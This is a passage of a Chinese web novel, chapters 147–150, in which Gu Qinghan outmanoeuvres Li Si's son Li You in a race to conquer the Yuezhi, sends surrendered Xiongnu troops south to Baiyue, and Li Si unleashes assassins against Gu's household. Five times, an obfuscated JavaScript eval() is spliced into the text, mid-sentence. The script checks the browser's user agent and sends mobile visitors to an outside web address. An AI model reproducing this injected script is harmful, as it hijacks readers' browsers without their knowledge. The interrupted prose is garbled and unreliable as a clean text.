九原的气氛,与上郡的阴沉压抑截然不同,充满了烈酒与烤肉的豪迈气息。 校场上,五千名精锐正在集结。 一半是身经百战的破阵营老兵,另一半,则是刚刚从匈奴战场上走下来,煞气未消的玄甲军。 独眼龙李山河一身崭新的玄甲,站在队列前,身躯挺得笔直。 他那只独眼,此刻比任何时候都要明亮。 牛辅骑着他的汗血宝马,围着队列绕了一圈又一圈,嘴里酸溜溜的,满是羡慕。 “独眼龙,你小子祖坟是冒青烟了吧?侯爷把这等发财的美差交给你。俺可听说了,那月氏的娘们,眼珠子是琉璃做的,头发是金子做的,酿的酒能把神仙都醉倒!” 周围的士兵们听得一阵哄笑,个个摩拳擦掌,恨不得立刻就飞到河西走廊去。 李山河咧嘴一笑,露出满口白牙:“牛哥,你就羡慕吧。侯爷说了,这趟不光是去发财,是去给姓李的抢磨刀石。俺也不懂啥是磨刀石,反正侯爷让抢,俺就抢过来!” “侯爷让你吃屎你也吃?”牛辅撇了撇嘴。 “吃!”李山河毫不犹豫地一拍胸甲,发出“砰”的一声闷响,“侯爷让吃,那肯定是大补之物!” 两人正斗着嘴,顾清寒牵着马,和文远并肩走了过来。 全场瞬间肃静。 顾清寒走到李山河面前,亲手为他整理了一下略歪的头盔。 “此去河西,路途遥远,不比草原。月氏人虽不如匈奴悍勇,但其民风狡诈,不可轻敌。” “末将明白!” 顾清寒点了点头,继续说道:“记住,打败他们,不是目的。我要你把月氏,变成第二个乌桓。他们的牧场,要变成我们的马场;他们的勇士,要编入我们的军队;他们通往西域的商道,必须牢牢握在我们手里。” 他拍了拍李山河的肩膀,压低了声音,嘴角勾起一抹笑意:“还有,听说他们的酒不错。多给我带几车回来,开庆功宴的时候,我要用它来装满功臣们的酒杯。” 李山河重重地点头,那只独眼中,燃起了熊熊的战意。 “侯爷放心!末将不把月氏王庭搬回来,绝不回来见您!” “出发!” 咸阳,客栈。 陆佩奇感觉自己这辈子的惊吓,都在这几个月里受完了。 他哆哆嗦嗦地跪在嬴政面前,连话都说不利索了。 “陛……陛下… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739546|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …打了!要打了!” 嬴政正拿着一卷竹简看得入神,闻言连眼皮都没抬一下。“谁跟谁打?” “李斯……李斯跑到上郡,逼着他儿子李由出兵西征月氏了!”陆佩奇的声音带着哭腔,“可……可冠军侯也派了兵,让那个独眼龙李山河,也去打月氏了!他们……他们这是要在河西走廊开战啊!大秦的两支军队,要自相残杀了!” 嬴政终于放下了竹简。 他脸上没有丝毫的意外,更没有陆佩奇预想中的雷霆震怒。 他反而饶有兴致地站起身,走到那副巨大的天下舆图前。 他伸出手,拿起两枚黑白分明的棋子。 一枚白子,被他轻轻地放在了上郡的位置,代表李由。 一枚黑子,则落在了九原,代表顾清寒的兵锋。 然后,他的手指推动着两枚棋子,同时向西,朝着那片狭长的河西走廊滑去。 “自相残杀?不,陆统领,你的眼光,还是窄了些。”嬴政的声音里,带着一丝愉悦的笑意,“这不是厮杀,这是一场赛马。” 他回头看向目瞪口呆的陆佩奇。 “李斯以为自己找到了一个翻盘的棋眼,想让他的儿子,去西边为他挣一份功劳回来。可惜啊,他刚想好怎么走,朕的孙儿,就已经提前一步,把路给他堵上了。” 嬴政的手指,在两枚棋子之间轻轻敲击着。“一个是被逼无奈,亡羊补牢。一个是洞若观火,先发制人。你觉得,朕的这盘棋,谁会赢?” 陆佩奇的喉咙里发出“咯咯”的声响,一个字也说不出来。 嬴政笑了,那笑容,是运筹帷幄,执掌乾坤的笑。 “让他们去赛,让他们去争。朕不问过程,朕只要结果。” 他负手而立,目光仿佛穿透了墙壁,看到了那片即将被铁蹄与鲜血浸染的西部土地。 “谁能先把完整的河西走廊,连同月氏的降表,一起捧到朕的面前,”他一字一句,声音如金石落地,掷地有声,“谁,就是朕真正想要的,那个能为大秦开疆拓土的……太子。” 第147章 太子之位,双龙夺嫡 第一百四十七章太子之位,双龙夺嫡 河西走廊,古道漫漫,黄沙接天。 两支大军,一前一后,如同两条被无形之手拨动的巨**,朝着同一个目标——月氏王庭,疾速游弋。 上郡,李由的大营内,气氛压抑得令人窒息。 李由披甲持剑,站在沙盘前,一夜未眠,双眼布满血丝。 他面前的沙盘上,月氏的地形被反复推演,每一个山口,每一片绿洲,都插满了代表敌我双方的小旗。 “报——将军,斥候急报!九原军李山河部,已过乌鞘岭,距离我军不足百里!”一名裨将脸色苍白地冲了进来。 “什么?”李由猛地回头,手中的令旗“啪”地一声掉在地上。 百里!他们竟然这么快! 他知道李山河出兵的消息,但万万没想到,对方的行军速度如此骇人。 他这边还在为粮草辎重、各部协调而焦头烂额,对方却已经像一把烧红的尖刀,直插月氏腹地。 “父亲……”李由喃喃自语,脑海中浮现出李斯那张苍老而疯狂的脸。 “用月氏王的头颅,为你自己,也为我李氏,挣回一条活路!” 活路……李由惨然一笑。现在看来,这条活路,窄得容不下两匹马同时通过。 “传令下去!”李由深吸一口气,重新捡起令旗,声音因压抑而显得有些沙哑,“全军轻装简从,放弃所有不必要的辎重,日夜兼程,必须在李山河之前,抵达月氏王庭!” 他眼中闪过一丝狠戾。既然是赛马,那他只能不择手段。 哪怕是累死一半的士卒,饿死所有的战马,他也要抢在前面! 与此同时,李山河的军中,却是另一番景象。 篝火熊熊,烤肉的香气弥漫在干燥的空气中。 士兵们围坐在一起,大口吃肉,大声说笑,丝毫没有大战将至的紧张。 李山河拎着一个羊皮酒囊,正跟几个百夫长划拳吹牛。 “独眼龙,你**真是走了狗屎运!”一个虬髯大汉灌了一大口酒,喷着酒气嚷嚷,“这趟差事,简直就是送上门的功劳!等打下了月氏,咱们一人分他十个八个琉璃眼珠的金发娘们!” “哈哈哈,侯爷说了,月氏的酒好,咱们得给侯爷多拉几车回去!”李山河得意地晃了晃酒囊,“至于娘们……嘿嘿,侯爷没说,那就看着办!” 士兵们爆发出一阵更加热烈的哄笑。 “报——将军!”一名斥候飞马而来,滚鞍下马,“前方发现上郡李由军踪迹,他们正不顾一切地向月氏王庭急行军,看样子是想抢在我们前面!” 李山河脸上的笑容瞬间收敛,他吐掉嘴里的肉骨头,独眼中闪过一丝寒光。 “抢?**,也配跟老子抢?”他猛地站起身,将酒囊往地上一摔,“弟兄们,都听见了?有人想抢咱们的功劳,抢咱们的酒,抢咱们的娘们!” 他环视着手下这群如狼似虎的士兵,咧嘴一笑,露出森白的牙齿。 “侯爷怎么教咱们的?” “先下手为强,后下手遭殃!”数千名士兵齐声怒吼,声震四野。 “好!”李山河一挥手,“传令下去,全军加速!不求跑得最快,但求打得最狠!告诉那帮上郡的软脚虾,什么是真正的九原军!” 他跨上战马,抽出腰间的环首刀,刀锋在火光下闪着嗜血的光芒。 “侯爷的磨刀石,谁也别想碰!” 咸阳,客栈。 陆佩奇觉得自己的心,就像是被架在火上烤的羊肉串,滋滋冒油,偏偏嬴政还时不时地往上面撒一把盐。 “陛……陛下……”陆佩奇的声音都快带上哭腔了,“探报,李由和李山河两军,已经快在月氏王庭外头撞上了!这……这要真打起来,那可是……” 嬴政正端着一碗姜瞳特意让人送来的冰镇酸梅汤,慢悠悠地品着,闻言,只是淡淡地瞥了他一眼。 “撞上就撞上,有什么大惊小怪的。” “可……可那是大秦的军队啊!”陆佩奇急得直跺脚,“自己人打自己人,这传出去,岂不成了天大的笑话?” 嬴政放下汤碗,用手指轻轻敲击着桌面,嘴角勾起一抹玩味的笑容。 “笑话?朕看是好戏才对。”他站起身,走到窗边,望着西方那片被夕阳染红的天空,“李斯以为他儿子能捡个漏,清寒那小子,偏不让他如愿。这两头小狼崽子,为了抢一块肉,都快把吃奶的劲儿使出来了。” 他转过身,看着陆佩奇那副忧心忡忡的模样,摇了摇头。 “陆统领,你记住,朕要的,不是温顺的绵羊,而是能开疆拓土的猛虎。他们争得越凶,斗得越狠,朕就越高兴。” 他顿了顿,声音里带着一丝不容置疑的威严。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739547|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “传令下去,任何人不得干涉河西之事。朕要看看,这两个小子,谁能先把月氏王的人头和降表,一起送到朕的面前。” 嬴政的目光,再次投向那副天下舆图,落在了“太子”那两个空悬的字眼上。 “这太子之位,可不是谁都能坐的。” 九原,郡守府。 夜色已深,书房内依旧灯火通明。 顾清寒正和文远对着沙盘,商议着下一步的棋路。 “主公,”文远指着沙盘上代表河西走廊的区域,“李山河将军已成功诱使月氏主力出城决战,李由部则趁机强攻月氏王庭侧翼,两军虽未直接交锋,却已形成夹击之势。月氏王庭,旦夕可破。” 顾清寒点了点头,脸上没什么表情。这一切,都在他的预料之中。 李斯想用一场边疆大捷来为李由翻盘,却不知他每一步都踩在了自己布下的陷阱里。 “李由此人,虽有小才,却急功近利,难成大器。”顾清寒淡淡地评价道,“他以为抢先攻入王庭,就能占得先机。却不知,月氏真正的财富和力量,并不在王庭之内,而在那些游牧部落和通往西域的商道上。” 他看向文远:“告诉李山河,王庭可以暂时让给李由。我们的目标,是扫清月氏在河西的所有残余势力,彻底掌控那些牧场和商道。我要让李由,就算拿下了王庭,也只得到一座空城,一堆无用的石头。” 文远眼中闪过一丝了然的笑意:“主公此计,釜底抽薪。李由得了面子,我们得了里子。而且,陛下那边,恐怕更看重能带来实际利益的后者。” 顾清寒笑了笑,没说话。 他这位爷爷,心思深沉如海。 他要的,不仅仅是开疆拓土的功臣,更是一个能为大秦带来长久利益的继承者。 “牛辅那边,练兵练得如何了?”顾清寒话锋一转。 “回主公,”文远笑道,“牛辅将军把那些匈奴降卒操练得嗷嗷叫,天天嚷着要找人练手。他还给这支新军起了个名号,叫‘狼崽军’,说是要比匈奴人更像狼。” “狼崽军?”顾清寒闻言,不禁莞尔,“倒也贴切。” 他走到窗边,望着夜空中那轮皎洁的明月,眼神变得深邃。 东方的田氏已经入瓮,西边的月氏也即将成为囊中之物。 草原的马场,东海的钱袋,河西的商路…… 第148章 一封捷报,两份功劳 第一百四十八章一封捷报,两份功劳 他的棋盘,越来越大了。 “文远,”顾清寒忽然开口,“你说,这天下,除了北方的胡人,西边的蛮夷,还有哪些地方,是值得我们去‘看一看’的?” 文远心中一动,他知道,主公的目光,已经不再局限于这北疆一隅了。 他沉吟片刻,走到沙盘前,手指轻轻划过南方那片广袤的土地。 “主公,百越之地,瘴气弥漫,民风彪悍,秦军数次征伐,皆无功而返。若能得此地,则我大秦,南可控扼三江,东可俯瞰沧海,战略价值,无可估量。” 顾清寒的嘴角,缓缓勾起一抹弧度。 “百越么……听起来,倒是个不错的磨刀石。” 他知道,嬴政在等。等他把这天下,一块一块地,都纳入囊中。 而他,也乐于奉陪。 河西走廊,月氏王庭。 城头上的狼头大旗轰然倒下,取而代之的,是绣着狰狞秦篆“李”字的战旗。 李由拄着剑,大口大口地喘着粗气,浑身浴血,分不清是敌人的还是自己的。 他赢了,他真的抢在李山河前面,攻破了这座月氏人的都城。 城破得异常顺利,顺利到让他心慌。 “报——”一名副将连滚带爬地跑上城楼,脸上没有胜利的喜悦,只有一片死灰,“将军,城内……城内是座空城!” 李由的心猛地一沉。 “王宫里,除了几个跑不掉的老弱妇孺,什么都没有!金库被搬空了,粮仓里只剩下些陈年谷糠!月氏王……月氏王早就跑了!” “跑了?他能跑到哪去!”李由一把揪住副将的衣领,双目赤红。 副将颤抖着指向城外,声音带着哭腔:“斥候……斥候抓了几个舌头。他们说,三天前,九原的那个独眼龙,根本没往王庭来,而是分兵十几路,像梳子一样,把王庭周围的部落全给梳了一遍!月氏王派出去求援的信使,一个都没回来。他成了孤家寡人,眼看粮道被断,后路被抄,昨夜就带着亲卫和财宝,从西门……溜了!” “噗——” 李由只觉得喉头一甜,一口鲜血喷了出来,染红了身前的女墙。 他明白了。 他拼尽全力,累死三千士卒,耗光所有粮草,抢到手的,不过是人家丢下的一个空壳。 顾清寒,那个远在九原的冠军侯,甚至没亲自出手,就隔着千里,将他**于股掌之间。 他李由,成了这天下最大的笑话。 …… 咸阳,客栈。 陆佩奇拿着两份几乎同时抵达的捷报,手抖得像是得了羊癫疯。 “陛……陛下……”他冲进嬴政的房间,脸上的表情比哭还难看。 嬴政正用一柄小刀,慢条斯理地削着一个苹果,那苹果是上郡送来的,又脆又甜。 “念。” “上郡守李由,急报。其亲率大军,日夜兼程,于昨日攻破月氏王庭,为我大秦,开疆拓土!”陆佩奇的声音干涩。 嬴政“咔嚓”咬了一口苹果,嚼了嚼,没说话,示意他继续。 陆佩奇咽了口唾沫,拿起另一份竹简,声音愈发艰涩:“九……九原冠军侯帐下,偏将李山河,急报。其部于河西之地,连破月氏大小部落三十六个,俘获牛羊二十余万,战马五万匹。另,于昨日在昆仑山下,生擒月氏王及其王族百余人,缴获其全部金银财宝。此外……此外,还截获了西域大宛国前来交易的商队,得汗血宝马三百匹……” 陆佩奇念不下去了。 这哪里是两份捷报,这分明是一份认罪书和一柄**不见血的刀。 嬴政终于吃完了苹果,将果核随手扔出窗外,擦了擦手。 “一个,给朕送来个空果盘,还把盘子给磕了个口子。”他拿起那碗冰镇酸梅汤,喝了一口,咂咂嘴,“另一个,不仅把果子、果树都给朕搬了回来,还顺手牵了邻居家一头更肥的羊。” 他看向面如土色的陆佩奇,笑了。 “陆统领,你说,朕这个庄家,是该赏那个送盘子的,还是该赏那个给朕搬果园的?” 陆佩奇的膝盖一软,直接跪了下去,一个字都说不出来。 他只觉得,那位冠军侯,不是恶犬,也不是狼王。 他是个魔鬼。 一个能把阳谋玩成绝户计的魔鬼。 嬴政走到他身边,拍了拍他的肩膀,语气悠悠。 “去,拟旨。” “告诉李由,攻破王庭,劳苦功高,赏金百两,让他好生休养,把部队带回上郡吧。” 陆佩奇猛地抬头,眼中满是不可思议。这就完了? 嬴政的嘴角,勾起一抹残酷的弧度。 “再告诉李山河,让他把月氏王和那三百匹汗血宝马,给朕送到咸阳来。至于那些牛羊金银,就地分了,算是犒赏三军。” 他顿了顿,声音里带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739548|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了一丝笑意。 “哦,对了。那条通往西域的商道,既然是他们打下来的,以后就归九原管了。朝廷的商队要去,也得按他们的规矩,交税。” 陆佩奇彻底傻了。 这已经不是偏心了。 这是陛下亲自下场,帮着自己的孙子,把李斯父子最后一条底裤都给扒了,还扔在火上,烤成了灰。 …… 九原,郡守府。 牛辅听完战报,挠着脑袋,一脸的想不通。 “侯爷,俺不懂。那姓李的占了城,咱们的人在野地里喝风,咋最后好处全成咱们的了?这不亏了吗?” 议事厅内,响起一阵哄笑。 文远摇着羽扇,慢悠悠地解释道:“牛将军,我问你。一座空房子,和房子外头那万顷良田,你要哪个?” “那还用问!肯定要地啊!”牛辅毫不犹豫。 “这不就结了。”文远笑道,“李由要了面子,一座空城。咱们侯爷,要了里子,整个河西走廊的牛马、财富和未来。陛下英明,他看重的,自然也是能下蛋的金鸡,而不是一个空荡荡的鸡窝。” 牛辅一拍大腿,恍然大悟。 “俺懂了!侯爷这是把肉吃了,把骨头扔给姓李的去啃!高!实在是高!” 顾清寒笑了笑,没有参与他们的讨论。 他走到巨大的沙盘前,目光已经越过了刚刚被纳入版图的河西走廊,投向了更遥远、更复杂的南方。 百越。 那片被瘴气和雨林覆盖的土地,那群桀骜不驯的部族,像一块未经雕琢的璞玉,也像一头沉睡的猛兽。 “文远。” “主公。” “传令给田儋。”顾清寒的手指,在南方海岸线上轻轻划过,“我要他动用田氏所有的关系和商路,给我弄一样东西。” “主公请讲。” “一幅尽可能详细的,百越地图。包括山川、河流、部落分布,以及……当地的瘴疫,该如何防治。” 文远心中一凛,他知道,主公的棋盘,再次扩大了。 北方的狼,西方的羊,都已入笼。 现在,这位年轻的冠军侯,终于把目光,投向了南方那头最难驯服的,大象。 顾清寒的嘴角,勾起一抹自信的弧度。 “饭要一口一口吃,路要一步一步走。” “也是时候,让南方的朋友们,见识一下我们九原的……热情了。” 第149章 南方有茶,朕的麒麟 第一百四十九章南方有茶,朕的麒麟 上郡,帅帐。 一封来自咸阳的圣旨,如同一块冰,被扔进了李由滚烫的心里,瞬间熄灭了他最后一点火星。 赏金百两,好生休养,带兵回郡。 每一个字,都像一记响亮的耳光,抽得他头晕目眩。 他费尽心机,折损数千袍泽,换来的就是这几句不痛不痒的安抚,和一句滚回家的命令。 他成了全天下最大的笑柄。 “噗通。” 李由再也支撑不住,颓然跪倒在地,手中的佩剑哐当一声掉在地上,整个人像是被抽走了骨头。 “父亲……我们……输了……”他声音嘶哑,充满了绝望。 李斯静静地站在他面前,那张布满皱纹的脸上,没有儿子那般的崩溃,反而是一种死寂之后的平静。 他缓缓地弯下腰,捡起地上的长剑,用袖子细细地擦拭着剑身上的灰尘。 “是为父输了。” 李斯的声音很轻,却很稳,“在棋盘上,我们已经无子可动。” 他将擦拭干净的剑,重新塞回李由的剑鞘中,动作轻柔,像是在安抚一个孩子。 “但是,由儿,你要记住。”李斯抬起头,那双浑浊的眼睛里,闪烁着一种令人心悸的寒光,“棋盘上的博弈结束了,棋盘外的猎杀,才刚刚开始。” 李由猛地抬头,不解地看着自己的父亲。 李斯没有解释,只是走到地图前,目光在九原那片土地上停留了片刻,嘴角勾起一丝冰冷的弧度。 “回上郡,守好你的兵。”他转身,拍了拍儿子的肩膀,语气森然,“看好你的家。剩下的事情,为父来做。” 他要用那些见不得光的手段,去对付那个已经站在阳光下,让他无法撼动的冠军侯。 他要让那小子知道,被一条疯狗盯上,会是怎样一种滋味。 咸阳,客栈。 陆佩奇觉得自己的脑子已经不够用了。 他汇报完河西走廊的最终战果,看着嬴政那张毫无波澜的脸,心中一片茫然。 陛下非但不怒,反而……很高兴? “陛下,李斯父子经此一役,元气大伤,恐怕……” “恐怕什么?”嬴政打断了他,端起一碗新送来的莲子羹,慢条斯理地品尝着,“恐怕他们会消停了?不,朕看未必。被逼到绝路的狗,才会咬人。朕倒是想看看,李斯这条老狗,还能玩出什么新花样。” 他放下汤碗,看着一脸困惑的陆佩-奇,难得地解释了一句:“清寒这孩子,赢得漂亮。他赢的不是一场战役,而是人心和格局。李由看到的是一座城,他看到的却是整条商路,是西域的万千财富。他知道什么是面子,什么是里子。这,才是君王之才。” 正说着,一名铁鹰剑士快步走了进来,单膝跪地:“陛下,九原侯爷派人送来一份礼物。” 片刻之后,一个巨大的铁笼被抬了进来。 笼中,是一匹通体雪白,神骏非凡的宝马,正是那三百匹汗血宝马中,最为神俊的一匹。 随马而来的,还有一封信。 陆佩奇展开信,递到嬴政面前。 信上的字迹不多,龙飞凤凤舞,力透纸背。 “赵老伯,听闻您老当益壮,特送上好马一匹,代步消遣。另,西域的酒虽烈,小子却更惦记南方的好茶,不知何时能与老伯共饮一杯。” 陆佩奇念完,冷汗都下来了。 惦记南方的好茶?这是在向陛下预告,他下一个目标,是百越之地! 这是何等的狂妄! “哈哈……哈哈哈哈!” 出乎他意料,嬴政非但没有生气,反而爆发出一阵畅快至极的大笑。 他走到马笼前,看着那匹神采飞扬的汗血宝马,眼中满是欣赏与骄傲。 “好!好一个惦记南方的好茶!”嬴政笑得眼泪都快出来了,他回头看向陆佩奇,指着那封信,“你看看!你看看!这才是朕的麒麟儿!他不是在问朕要这天下,他是在告诉朕,他要如何为朕,将这整个天下,都打下来!” 这股子混不吝的嚣张劲,这股子举重若轻的霸气,简直和他年轻时,一模一样。 九原,郡守府。 整个九原城,都沉浸在胜利的狂欢中。 从河西走廊运回来的战利品堆积如山,最引人注目的,还是那些神骏的汗血宝马。 校场上,牛辅正使出浑身解数,试图爬上一匹枣红色的汗血宝马。 那马儿性子极烈,接连几个尥蹶子,就把牛辅掀了个四脚朝天,引得周围的士兵们哄堂大笑。 “**!这马比匈奴的娘们还烈!” 牛辅灰头土脸地爬起来,拍着屁股上的土,嘴里骂骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739549|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咧咧,眼里却全是喜爱。 议事厅内,文远正对着一堆堆的竹简,规划着新到手的河西走廊。 商路、驻军、屯田、安抚部族…… 千头万绪,他却处理得井井有条,脸上带着一丝疲惫,更多的却是兴奋。 后院的书房里,顾清寒正和姜瞳一起,看着一幅刚刚由田儋派人加急送来的地图。 那是一幅前所未有,详细至极的百越地图。 “夫君请看,”姜瞳纤细的手指划过地图上那片被绿色和棕色覆盖的区域,“此地山峦叠嶂,河网密布,大小部族上百个,各自为战,互不统属。更可怕的,是这片土地上无处不在的瘴气,我大秦数次征南,皆非败于战阵,而是败于这无形的疫病。” 她的脸上,带着浓浓的担忧。 百越,是一块真正的硬骨头,与草原和西域,完全是两种概念的战争。 “你说得对。”顾清寒点了点头,“所以,对付南方的毒蛇,自然要用北方的饿狼。” 姜瞳一愣。 顾清寒的目光,落在了地图之外,仿佛看到了校场上那支新编的,由匈奴降卒组成的军队。 “玄甲军是我的利剑,是用来决胜的。但这种深入泥潭,与蛇鼠缠斗的脏活累活,不适合他们。” 他的嘴角,勾起一抹冰冷的弧度。 “牛辅那支‘狼崽军’,不是天天嚷着没仗打,精力没处发泄吗?” “就让他们去。告诉牛辅,我不要他攻城略地,我只要他带着这五千头饿狼,在百越的土地上,给我尽情地‘打猎’。用百越人的鲜血,来磨砺他们的獠牙。用南方的瘴气,来筛选出最强壮、最能适应的狼王。” 这是一个近乎残酷的计划。用一支刚刚征服的军队,去征伐另一片陌生的土地。 胜了,他得到一支真正百战余生的虎狼之师; 败了,损失的也不过是一群本就不属于他的降兵。 姜瞳看着自己夫君那张英俊的侧脸,看着他眼中那抹深邃的、不带一丝感情的算计,心中微动。 世人只道冠军侯战无不胜,却不知,这份胜利的背后,是何等冷酷的权衡与取舍。 顾清寒收回目光,看着地图,仿佛那不是一片蛮荒之地,而是一盘早已被他算尽的棋局。 “也是时候,让南方的朋友们,尝一尝我们九原的……热情了。” 第150章 饿狼南下,疯狗出笼 第一百五十章饿狼南下,疯狗出笼 九原,西郊大营。 五千名匈奴降卒组成的“狼崽军”,正在尘土飞扬的校场上操练着。他们赤着上身,露出精壮的肌肉和狰狞的伤疤,嘶吼着,冲撞着,与其说是在训练军阵,不如说是在进行一场原始的角斗。 牛辅骑着他那匹好不容易才驯服的汗血宝马,在队列旁耀武扬威,嘴里骂骂咧咧,脸上却满是得意。 “**!都给俺使点劲!没吃饭吗?跑得比乌龟还慢!再跑不起来,晚上就把你们的口粮喂马!” 顾清寒和文远并肩站在高台上,静静地看着这群桀骜不驯的“狼崽子”。 “主公,此军虽勇,却野性难驯,军纪涣散,若无大战磨砺,恐成祸患。”文远轻声道。 “所以,该放他们出去咬人了。”顾清寒的目光,落在了牛辅身上,“牛辅!” “顾少!俺在!”牛辅听到召唤,立刻屁颠屁颠地从马上跳下来,一路小跑冲上高台,咧着大嘴,一脸的期待。 “给你个新差事。” “啥差事?顾少您说!是不是又要去抢谁的磨刀石了?”牛辅兴奋地搓着手。 顾清寒笑了笑,指着南方:“去打猎。” “打猎?”牛辅一愣,随即眼睛放光,“打什么?老虎?黑熊?俺最喜欢这个了!” 周围的亲卫都忍不住笑了起来。 “比老虎黑熊,好玩得多。”顾清寒的语气很平淡,“去南方,一个叫百越的地方,猎人。” 牛辅的笑容凝固了,他挠了挠头,有点没反应过来:“猎……猎人?” “对。”顾清寒收起笑容,眼神变得锐利,“我给你五千狼崽军,给你足够的兵甲粮草。我不要求你攻城拔寨,也不要求你开疆拓土。我只有一个要求,活下来。” “你带着他们,在百越那片林子里,尽情地打,尽情地杀。用当地部族的人头,当你们的军功。用那里的瘴气和毒虫,考验你们的筋骨。一年之后,我不管你这五千人还剩下多少,哪怕只剩五百,五百个活下来的,就是我大秦最锋利的獠牙。” 牛辅听得云里雾里,但他听懂了最后一句话。 这是顾少在考验他,在给他天大的荣耀! 他“噗通”一声单膝跪地,胸甲拍得山响:“顾少您放心!俺保证!不把那什么百越的猎物,猎得干干净净,俺就把自己埋在那儿!这五千个狼崽子,俺保证给您带回来一支真正的狼王军!” “去吧。”顾清寒挥了挥手,“让南方的朋友们,感受一下我们九原的热情。” …… 咸阳城,一处不起眼的宅院。 地下密室里,灯火昏暗,空气中弥漫着一股铁锈和尘土混合的怪味。 李斯换下了一身锦绣朝服,穿着最普通的灰色布衣,那张苍老的脸上,再无半分丞相的威仪,只剩下阴鸷与疯狂。 他面前,跪着一个黑影。那人仿佛与黑暗融为一体,看不清面容,只有一双眼睛,在烛火下闪烁着非人的幽光。 “事情,都清楚了?”李斯的声音沙哑,像两块砂石在摩擦。 “清楚了。”黑影的声音,像是从地缝里挤出来的,没有一丝情绪。 “记住,我不要他的命。”李斯缓缓踱步,影子在墙上被拉扯得如同鬼魅,“一个死去的冠军侯,只会成为一座丰碑,让天下人敬仰。我要他活着,活在痛苦和恐惧里。” 李斯停下脚步,回头看着那黑影,眼中射出毒蛇般的寒光。 “他的妻子,那个叫姜瞳的女人,很聪明,也很美。我不希望她再看到明天的太阳。但不能是明着杀,要让她死得……像一场意外。” “他的谋士,文远,是他的脑子。我要这颗脑子,突然之间,就坏掉。” “他的大将,牛辅,李山河,是他的爪牙。我要这对爪牙,互相猜忌,最好是……自相残杀。” “我要九原的每一口井里,都充满疑虑的**。我要他身边的每一个人,都可能是刺向他的刀。我要他众叛亲离,变成一个谁也不敢靠近的孤家寡人。” 李斯的声音越来越低,也越来越兴奋,像是在描绘一幅最美妙的画卷。 “我要把他从神坛上,一点一点地,拉下来,踩进泥里。让他亲眼看着自己建立的一切,分崩离析。这,比杀了他,有趣得多。” 黑影沉默了片刻,缓缓抬起头:“相爷的雅兴,属下佩服。只是,冠军侯身边,高手如云,更有陛下派去的铁鹰剑士暗中护卫。此事……难。” “难,才需要你们。”李斯从怀中摸出一块令牌,扔在地上,“这是罗网的最高信物。从今天起,所有蛰伏的力量,都归你调动。钱,人,都不是问题。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739550|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他看着黑影,一字一句道:“我只要结果。” 黑影捡起令牌,身形一闪,便消失在了黑暗中,仿佛从未出现过。 密室里,只剩下李斯一个人。他望着跳动的烛火,脸上露出一抹狰狞的笑。 顾清寒,棋盘上,我输了。 棋盘外,我们才刚刚开始。 …… 咸阳,客栈。 陆佩奇连滚带爬地冲进嬴政的房间,手里拿着两份密报,感觉天又要塌了。 “陛……陛下!那……那个浑小子,他……他把匈奴降卒派去打百越了!五千人!就这么扔进去了!这……这简直是闻所未闻的疯举啊!” 嬴政正饶有兴致地摆弄着一个从西域商人手里淘来的琉璃杯,闻言头也没抬。 “还有呢?” “还有……”陆佩奇咽了口唾沫,声音都在发颤,“李斯……李斯动用了罗网!他把那些藏在阴沟里的毒蛇全都放出来了!目标……目标就是九原!他要对冠军侯身边的人下手了!陛下,这……这是要出大事的!再不管,您的孙子就要被活活玩**!” 嬴-政终于放下了琉璃杯。 他没有发怒,也没有惊慌,反而轻轻地笑了起来。 